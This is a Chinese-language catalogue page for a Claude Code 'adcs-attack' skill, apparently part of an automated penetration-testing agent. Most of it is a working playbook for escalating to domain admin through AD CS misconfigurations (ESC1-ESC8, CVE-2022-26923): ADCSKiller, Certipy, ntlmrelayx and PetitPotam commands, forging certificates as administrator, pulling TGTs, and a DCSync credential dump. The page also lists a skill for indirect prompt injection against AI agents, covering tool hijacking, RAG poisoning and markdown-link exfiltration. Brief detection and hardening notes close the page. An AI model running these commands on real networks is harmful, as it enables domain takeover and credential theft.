with one click
AD CS 证书服务攻击 - ADCS ESC1-ESC8 + ADCSKiller 自动化利用
npx skills add https://github.com/hanc00l/nemo-agent-v1 --skill adcs-attackCopy and paste this command into Claude Code to install the skill
AD CS 证书服务攻击 - ADCS ESC1-ESC8 + ADCSKiller 自动化利用
npx skills add https://github.com/hanc00l/nemo-agent-v1 --skill adcs-attackCopy and paste this command into Claude Code to install the skill
Exchange 服务器到域控提权 - CVE-2018-8581 Exchange2Domain 攻击链
辅助技能集合 - 从 AboutSecurity 项目整合的高级渗透测试技能
渗透测试技能集合 - 覆盖三个赛区的综合渗透测试能力
AI/LLM 间接 Prompt 注入攻击。当目标 AI 系统会处理外部数据源(网页、文档、邮件、数据库、API 返回、用户评论)时使用。覆盖间接注入(通过网页/文档/图片嵌入指令)、工具链劫持(让Agent调用危险工具)、RAG投毒(向知识库注入恶意内容)、跨插件攻击(利用多工具交互)、数据外泄(通过markdown图片/链接泄露对话)。与 prompt-jailbreak 的区别:jailbreak 直接操纵用户输入,injection 通过第三方数据源间接注入指令。发现目标 Web 应用集成了 AI 聊天、AI 搜索、RAG 知识库、AI Agent 或任何 LLM 功能时都应使用此 skill
云元数据利用。当通过 SSRF 或已获取的 shell 可以访问云实例元数据服务时使用。覆盖 AWS/Azure/GCP/阿里云/腾讯云的元数据端点、IAM/CAM 凭据提取、IMDSv2 绕过、从元数据到云服务枚举的完整攻击链。发现任何 SSRF 场景、内网可访问 169.254.169.254 或 100.100.100.200 的场景都应使用此技能
Web 应用业务逻辑漏洞检测与利用。当目标有支付/交易/订单/优惠券/积分/余额/充值/转账/购物车等商业功能时使用。当发现用户注册/登录/短信验证码/邮箱验证/密码重置等账户功能时使用。当 API 请求中出现价格(price/amount)、数量(quantity/count)、订单号(order_id)、优惠码(coupon/promo)等业务参数时使用。业务逻辑漏洞不需要技术漏洞(SQLi/XSS),而是利用应用流程设计缺陷——负数金额、0元支付、订单状态篡改、验证码复用、并发竞争。SRC 众测和实战渗透中最高频的漏洞类型之一,每个有交易功能的应用都应检查
| name | adcs-attack |
| description | AD CS 证书服务攻击 - ADCS ESC1-ESC8 + ADCSKiller 自动化利用 |
| zone | 3 |
利用 Active Directory Certificate Services (ADCS) 配置错误,从普通域用户提升至域管理员权限
Active Directory Certificate Services (ADCS) 是 Windows 域中常用的证书服务,但由于配置不当或设计缺陷,存在多种提权向量,统称为 ADCs (Active Directory Certificate Services) 攻击。
| ESC | 名称 | 描述 | 利用条件 |
|---|---|---|---|
| ESC1 | 模板陷阱 | 任何用户可申请具有任意 SAN 的证书 | 配置错误的模板 |
| ESC2 | 证书代理 | 允许请求代理证书 | 启用 ENROLLEE_SUPPLIES_SUBJECT |
| ESC3 | 请求代理 | 可以申请代理证书 | 特殊 EKU 配置 |
| ESC4 | 模板 ACL | 模板 ACL 可被低权限用户修改 | 弱 ACL 配置 |
| ESC5 | PKI 服务 | PKI 服务器上的提权 | 服务器访问权限 |
| ESC6 | 发行者签名 | 发行者证书未设置 EKU 约束 | 弱发行者配置 |
| ESC7 | Vulnerable CA | CA 服务器配置弱点 | CA 管理访问 |
| ESC8 | NTLM Relay | 通过 NTLM Relay 申请证书 | 未启用 LDAP 签名 |
# 方法 1: 使用 ADCSKiller 自动检测
cd /opt/workspace/ad/ADCSKiller-main
python3 ADCSKiller.py -d domain.local -u user -p password --scan
# 方法 2: 使用 Certi.py
python3 /opt/workspace/ad/Certipy.py find dc.domain.local
# 方法 3: 手动查询
certutil -config - -ping
# 获取域控信息
nslookup -type=srv _ldap._tcp.dc._msdcs.domain.local
# 获取证书颁发机构信息
certutil -config CA_SERVER -dump
cd /opt/workspace/ad/ADCSKiller-main
# 基本扫描(检测所有 ESC 漏洞)
python3 ADCSKiller.py -d domain.local -u user -p password --scan
# 使用哈希认证
python3 ADCSKiller.py -d domain.local -u user -H :nthash --scan
# 指定 DC
python3 ADCSKiller.py -d domain.local -dc dc-ip --scan
# 指定 CA 服务器
python3 ADCSKiller.py -d domain.local -ca ca-server.domain.local --scan
| 参数 | 说明 | 示例 |
|---|---|---|
-d | 域名 | -d domain.local |
-dc | 域控 IP | -dc 10.1.1.1 |
-ca | CA 服务器 | -ca ca.domain.local |
-u | 用户名 | -u user |
-p | 密码 | -p password |
-H | NTLM 哈希 | -H :nthash |
--scan | 扫描模式 | --scan |
--esc | 指定 ESC | --esc 1,8 |
[*] Connecting to Domain Controller...
[*] Enumerating Certificate Templates...
[+] Found vulnerable template: User (ESC1)
[+] Found vulnerable template: GenericWeb (ESC8)
[*] Testing certificate enrollment...
[+] Successfully enrolled certificate!
[*] Certificate saved to: user.pfx
ESC1 允许任何域用户申请具有 任意 SAN (Subject Alternative Name) 的证书,可以伪造任何用户(包括域管)的身份。
cd /opt/workspace/ad/ADCSKiller-main
# 方法 1: 使用 ADCSKiller
python3 ADCSKiller.py -d domain.local -u user -p password --esc 1
# 方法 2: 使用 Certipy
python3 Certipy.py req dc.domain.local -ca 'CA-Name' -template 'User' -upn administrator@domain.local
# 方法 3: 手动使用 certreq
certreq -q -config "CA_SERVER\CA-Name" -attrib "CertificateTemplate:User" request.inf
# 使用 ADCSKiller 自动获取 TGT
python3 ADCSKiller.py -d domain.local -u user -p password --esc 1 --tgt
# 手动使用证书获取 TGT
python3 /opt/workspace/ad/gettgtpkinit.py domain.local/administrator -pfx-base64 <base64_cert> administrator.ccache
# 导入票据
export KRB5CCNAME=administrator.ccache
ESC8 允许通过 NTLM Relay 到 ADCS 证书服务,为任意用户申请证书。配合 PetitPotam 或其他触发方式使用。
cd /opt/workspace/ad/ADCSKiller-main/
# 启动 ntlmrelayx,监听 ADCS
ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp -smb2support --adcs --template User
# 或使用 ADCSKiller 集成功能
python3 ADCSKiller.py -d domain.local --esc 8 --relay
# 方法 1: 使用 PetitPotam
python3 /opt/workspace/ad/PetitPotam.py -d domain.local -u user -p password dc-ip attacker-ip
# 方法 2: 使用 PrintSpoofer
python3 /opt/workspace/ad/PrintSpoofer.py -d domain.local -u user -p password dc-ip attacker-ip
# 方法 3: 使用 ADCSKiller 自动触发
python3 ADCSKiller.py -d domain.local -u user -p password --esc 8 --auto
# ntlmrelayx 会自动保存证书
# 使用证书获取 TGT
python3 /opt/workspace/ad/gettgtpkinit.py domain.local/administrator -pfx-base64 <base64> admin.ccache
# 执行 DCSync
secretsdump.py -k -no-pass domain.local/administrator@dc-ip
CVE-2022-26923 允许低权限用户通过创建机器账户并篡改 dNSHostName 属性,在申请证书时获得域控身份。
cd /opt/workspace/ad/ADCSKiller-main
# 方法 1: 使用 ADCSKiller
python3 ADCSKiller.py -d domain.local -u user -p password --cve-2022-26923
# 方法 2: 使用 Certipy
python3 Certipy.py account create dc.domain.local -dn 'CN=fake,DC=domain,DC=local' -dns 'dc.domain.local'
# 申请证书
python3 Certipy.py req dc.domain.local -ca 'CA-Name' -template 'Machine'
# 使用证书认证
python3 psexec.py -dc-ip dc-ip -k -no-pass domain.local/dc$@dc-ip
# 使用证书获取 TGT
python3 /opt/workspace/ad/gettgtpkinit.py domain.local/user -pfx-file cert.pfx -key-file cert.key user.ccache
# 使用证书执行命令
python3 psexec.py -k -no-pass domain.local/user@dc-ip -dc-ip dc-ip
# 使用证书进行 DCSync
python3 secretsdump.py -k -no-pass domain.local/user@dc-ip
# 使用证书获取服务票据
python3 /opt/workspace/ad/getnth.py -dc-ip dc-ip domain.local/user -pfx cert.pfx
# 使用票据访问服务
export KRB5CCNAME=user.ccache
python3 psexec.py -k -no-pass domain.local/user@target-ip
重要: 所有工具位于 /opt/workspace/ad/ 目录,每个工具在独立的子目录中
| 工具 | 位置 | 用途 |
|---|---|---|
| ADCSKiller | /opt/workspace/ad/ADCSKiller-main/ | ADCS 自动化扫描和利用 |
| Exchange2domain | /opt/workspace/ad/Exchange2domain/ | Exchange 到域控攻击 |
| privexchange | /opt/workspace/ad/privexchange/ | Exchange EWS 推送订阅触发 |
| ProxyLogon | /opt/workspace/ad/ProxyLogon/ | CVE-2021-26855/27065 利用 |
| ProxyShell | /opt/workspace/ad/ProxyShell/ | CVE-2021-34473 利用 |
| OWASSRF | /opt/workspace/ad/OWASSRF/ | OWASSRF 攻击 |
| 工具 | 安装来源 | 用途 |
|---|---|---|
| Certipy | pip install certipy-ad | 证书申请和滥用 |
| gettgtpkinit.py | GitHub | 证书转 TGT |
| PetitPotam | GitHub | 触发 NTLM 认证 |
| ntlmrelayx | impacket | NTLM 中继 |
异常证书申请:
# 查看 CA 日志
certutil -view -out "RequesterName,CommonName,CertificateTemplate"
异常模板配置:
# 检查模板配置
Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Filter * -Properties *
异常机器账户:
# 检查新创建的机器账户
Get-ADComputer -Filter * -Property whenCreated | Sort-Object whenCreated -Descending | Select-Object -First 10
加固模板配置:
启用 LDAP 签名:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity" -Value 2
监控证书申请: